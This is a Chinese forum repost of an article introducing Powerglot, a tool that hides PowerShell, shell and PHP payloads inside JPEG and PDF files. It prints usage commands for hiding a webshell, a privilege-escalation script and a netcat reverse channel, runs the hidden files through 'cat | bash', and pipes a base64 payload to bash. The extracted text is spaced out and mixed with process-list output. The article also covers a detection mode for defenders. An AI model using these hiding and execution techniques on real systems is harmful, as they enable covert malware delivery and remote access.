搜索

[16032] 2020-10-31_Powerglot：一款针对PoowerShell脚本的攻击性编码工具

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-10-31_Powerglot：一款针对PoowerShell脚本的攻击性编码工具 P o w e r g l o t ： 一 款 针 对 P o o w e r S h e l l 脚 本 的 攻 击 性 编 码 工 具 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 3 1 P o w e r g l o t P o w e r g l o t 是 一 款 功 能 强 大 的 攻 击 性 P o w e r S h e l l 脚 本 编 码 工 具 ， 该 工 具 基 于 P o l y g l o t s 实 现 其 功 能 。 本 质 上 来 说 ， P o w e r g l o t 是 一 款 攻 击 性 安 全 工 具 ， 适 用 于 恶 意 软 件 、 权 限 提 升 、 横 向 渗 透 和 反 向 S h e l l 等 方 向 。 P o w e r g l o t 可 以 使 用 P o l y g l o t s 来 对 各 种 类 型 的 脚 本 进 行 编 码 ， 比 如 说 攻 击 性 P o w e r S h e l l 脚 本 ， 而 且 还 不 需 要 加 载 器 即 可 运 行 P a y l o a d 。 在 红 队 演 习 或 其 他 攻 击 性 任 务 中 ， P a y l o a d 的 伪 装 / 隐 藏 一 般 是 通 过 隐 写 术 来 完 成 的 ， 尤 其 是 在 躲 避 网 络 层 保 护 机 制 的 时 候 ， 这 也 是 P o w e r S h e l l   P a y l o a d 脚 本 开 发 中 比 较 常 见 的 技 术 。 近 期 的 一 些 恶 意 软 件 和 A P T 组 织 也 都 会 选 择 类 似 的 方 式 来 进 行 攻 击 ， 比 如 说 A P T 3 2 、 A P T 3 7 、 U r s n i f 、 P o w l o a d 、 L i g h t N e u r o n / T u r l a 、 P l a t i n u m   A P T 、 W a t e r b u g / T u r l a 、 L o k i b o t 、 d u k e s （ 幽 灵 行 动 ） 和 T i a n i u m 等 等 。 P o w e r g l o t 是 一 款 基 于 P o l y g l o t s 开 发 的 多 功 能 跨 平 台 攻 防 工 具 ， P o w e r g l o t 允 许 开 发 人 员 将 脚 本 代 码 （ P o w e r S h e l l 、 S h e l l 脚 本 和 P H P 等 ） 隐 写 在 数 字 图 像 中 ， 目 前 该 工 具 的 开 发 人 员 也 正 在 添 加 新 的 文 件 格 式 支 持 。 跟 其 他 攻 击 性 工 具 或 恶 意 软 件 不 同 的 是 ， P o w e r g l o t 不 需 要 任 何 加 载 器 就 可 以 执 行 隐 藏 在 目 标 文 件 中 的 信 息 了 ， 这 样 可 以 将 恶 意 程 序 在 目 标 系 统 上 的 噪 声 降 低 到 最 小 。 P o w e r g l o t 在 攻 击 / 渗 透 任 务 中 有 着 明 确 的 用 途 ， 但 它 也 适 用 于 蓝 队 研 究 人 员 。 据 我 们 所 知 ， 该 工 具 是 第 一 个 通 用 且 完 全 开 源 的 攻 击 性 编 码 工 具 ， 它 可 以 帮 助 广 大 研 究 人 员 使 用 P o l y g l o t s 来 搜 索 隐 藏 信 息 ， 而 这 些 信 息 可 以 帮 助 开 发 人 员 在 目 标 系 统 中 实 现 恶 意 软 件 的 隐 藏 或 持 久 性 感 染 。 功 能 介 绍 功 能 介 绍 将 P o w e r S h e l l 、 S h e l l 脚 本 和 P H P 等 代 码 编 码 进 图 像 文 件 中 ， 并 且 支 持 在 不 需 要 任 何 加 载 器 的 情 况 下 来 恢 复 / 执 行 隐 藏 的 信 息 （ P a y l o a d ） 。 P o w e r G l o t 适 用 于 多 种 文 件 格 式 ， 但 是 目 前 仅 支 持 J P E G 和 P D F ， 其 他 格 式 支 持 目 前 正 在 开 发 中 。 P o w e r G l o t 是 一 款 完 整 开 源 的 工 具 ， 可 以 帮 助 研 究 人 员 检 测 恶 意 代 码 ， 特 别 是 使 用 T r u e p o l y g l o t   或 s t e g o S p l o i t 等 公 共 工 具 隐 藏 的 信 息 结 果 。 目 前 ， 开 发 人 员 正 在 给 P o w e r G l o t 添 加 J P E G 、 P N G 、 G I F 、 B M P 、 Z I P 、 P D F 、 M P 3 等 格 式 的 支 持 。 工 具 安 装 工 具 安 装 #   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m i n d c r y p t / p o w e r g l o t #   p y t h o n 3   p o w e r g l o t
工 具 使 用 工 具 使 用 & 参 数 参 数 下 面 给 出 的 是 如 何 使 用 P o w e r g l o t 来 隐 藏 P a y l o a d 的 一 些 演 示 样 例 ： 样 例 一 样 例 一 - 将 将 P o w e r S h e l l / P H P / S h e l l 脚 本 隐 藏 在 一 个 脚 本 隐 藏 在 一 个 J P E G 图 像 中 ： 图 像 中 ： 样 例 二 样 例 二 - 将 一 个 提 权 将 一 个 提 权 S h e l l 脚 本 隐 藏 在 一 个 脚 本 隐 藏 在 一 个 J P E G 图 像 中 ： 图 像 中 ： 样 例 三 样 例 三 - 将 一 个 将 一 个 n e t c a t 反 向 信 道 隐 藏 在 一 个 反 向 信 道 隐 藏 在 一 个 J P E G 图 像 中 ： 图 像 中 ： 样 例 四 样 例 四 - P D F 隐 藏 ： 隐 藏 ： #   p y t h o n 3   p o w e r g l o t #   p y t h o n 3   p o w e r g l o t . p y   - o   p a y l o a d . p s 1   c a t . j p g   c a t - h i d d e n 1 . j p g #   p y t h o n 3   p o w e r g l o t . p y   - o   w e b s h e l l . p h p   c a t . j p g   c a t - h i d d e n 2 . j p g #   p y t h o n 3   p o w e r g l o t . p y   - o   s h e l l . s h   c a t . j p g   c a t - h i d d e n 3 . j p g #   p y t h o n 3   p o w e r g l o t . p y   - o   l i n e n u m . s h   c a t . j p g   c a t - l i n e n u m . j p g #   f i l e   c a t - l i n e n u m . j p g   ( I t   i s   a   v a l i d   J P E G   f i l e ) #   f e h   c a t - l i n e u m . j p g   ( T h e   i m a g e   i s   p r o p e r l y   s h o w e d   i n   a n   i m a g e   v i e w e r ) #   W e   c a n   e x e c u t e   t h e   s c r i p t   i n   s e v e r a l   w a y s :         a )   c a t   c a t - l i n e n u m   |   b a s h         b )   c h m o d   + x   c a t - l i n e n u m . j p e g ;   . / c a t - l i n e n u m . j p e g #   A t t a c k e r #   e c h o   " n c   1 2 7 . 0 . 0 . 1   4 4 4 4 "   >   n e t c a t . s h #   p y t h o n 3   p o w e r g l o t . p y   - o   n e t c a t . s h   c a t . j p e g   c a t - n e t c a t . j p e g #   n c   - n v l p   4 4 4 4 # V i c t i m #   c h m o d   + x   c a t - n e t c a t . j p g   |   . / c a t - n e t c a t . j p g #   C r e a t e   b 6 4 . s h   w i t h   y o u r   f a v o u r i t e   p a y l o a d b a s e 6 4   L i n e n u m . s h   - w   0   >   b 6 4 . s h #   E d i t   b 6 4 . s h e c h o   " c o d e   i n   b 6 4 . s h "   |   b a s e 6 4   - d   |   b a s h ; #   p y t h o n 3   p o w e r g l o t   - o   b 6 4 . s h   s a m p l e . p d f   t e s t . p d f
样 例 五 ： 样 例 五 ： #   f i l e   t e s t . p d f #   x p d f   t e s t . p d f #   E x e c u t e   p a y l o a d #   c a t   t e s t . p d f   |   b a s h   o r   c h m o d   + x   t e s t . p d f ;   . / t e s t . p d f #   p y t h o n 3   p o w e r g l o t . p y   - o   s c r i p t . p s 1   c a t . j p e g   c a t - p s . j p e g #   f i l e   c a t - p s . j p e g #   f e h   c a t - p s . j p e g #   E x e c u t e   p a y l o a d   ( e x a m p l e ) #   c a t   c a t - p s . j p e g   |   p w s h P S   / h o m e / a l f o n s o / P o w e r G l o t / P O W E R S H E L L >   g e t - p r o c e s s ; < # h o l a   < #   m u n d o # >   N P M ( K )         P M ( M )             W S ( M )           C P U ( s )             I d     S I   P r o c e s s N a m e   - - - - - -         - - - - -             - - - - -           - - - - - -             - -     - -   - - - - - - - - - - -             0           0 , 0 0               2 , 7 0               0 , 0 0           8 3 0   8 2 9   ( s d - p a m )             0           0 , 0 0               0 , 0 0               0 , 0 0             7 5       0   a c p i _ t h e r m a l _ p m             0           0 , 0 0               4 , 8 0               0 , 0 0         1 2 1 7   8 5 4   a g e n t             0           0 , 0 0               1 , 7 0               0 , 0 0           7 4 8   7 4 8   a g e t t y             0           0 , 0 0             4 0 , 7 7               1 , 0 1         1 1 9 8   8 5 4   a p p l e t . p y             0           0 , 0 0               6 , 2 9               0 , 0 0           9 3 8   9 3 8   a t - s p i - b u s - l a u n c h e r             0           0 , 0 0               6 , 6 1               5 , 6 4           9 5 3   9 3 8   a t - s p i 2 - r e g i s t r y d             0           0 , 0 0               0 , 0 0               0 , 0 0           1 3 1       0   a t a _ s f f             0           0 , 0 0               1 , 7 7               0 , 0 0         8 9 0 6   … 7 8   a t o m             0           0 , 0 0           2 1 8 , 8 1           5 8 5 , 9 5         8 9 0 8   … 7 8   a t o m             0           0 , 0 0           2 3 6 , 1 8           1 7 6 , 2 4         8 9 4 7   … 7 8   a t o m             0           0 , 0 0           1 4 2 , 1 4               2 , 5 1         9 0 0 9   … 7 8   a t o m             0           0 , 0 0             8 1 , 5 4               3 , 3 2         8 9 3 2   … 7 8   a t o m   - - t y p e = g p u - p r o c e s s   - - e n a b l e - f e a t u r e s = S h a r e d A r r a y B u f f e r   - …             0           0 , 0 0             3 9 , 4 4               0 , 0 1         8 9 1 0   … 7 8   a t o m   - - t y p e = z y g o t e   - - n o - s a n d b o x
在 文 件 系 统 中 检 测 隐 藏 代 码 在 文 件 系 统 中 检 测 隐 藏 代 码 许 可 证 协 议 许 可 证 协 议 本 项 目 的 开 发 与 发 布 遵 循 G P L   v 3 开 源 许 可 证 协 议 。 项 目 地 址 项 目 地 址 P o w e r g l o t ： h t t p s : / / g i t h u b . c o m / m i n d c r y p t / p o w e r g l o t 精 彩 推 荐 精 彩 推 荐             0           0 , 0 0               5 , 6 2               0 , 1 1         1 3 7 0   … 7 0   b a s h             0           0 , 0 0               5 , 3 6               0 , 6 6         5 2 7 8   … 7 8   b a s h             0           0 , 0 0               6 , 3 4               1 , 4 8         6 7 7 8   … 7 8   b a s h             0           0 , 0 0               0 , 0 0               0 , 0 0             6 8       0   b l k c g _ p u n t _ b i o             0           0 , 0 0             4 6 , 7 3               2 , 2 0         1 1 9 9   8 5 4   b l u e m a n - a p p l e t             0           0 , 0 0             5 0 , 2 5               1 , 6 4         1 3 0 1   8 5 4   b l u e m a n - t r a y # p y t h o n 3   p o w e r g l o t . p y   - d   . / - - =   [ D e t e c t i n g   p o l y g l o t s ]   - - = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . [ S u s p i c i o u s   f i l e ] - [   . / c a t - e n d - e x t r a 2 . j p g   ] . . [ S u s p i c i o u s   f i l e ] - [   . / c a t - e n d - e x t r a 3 . j p g   ] [ P o l y g l o t   S t e g o s p l o i t ] [ E O F   S i g n a t u r e :   * /   - - > ] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . [ S u s p i c i o u s   f i l e ] - [   . / c a t - e n d - e x t r a 1 . j p g   ] . .

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理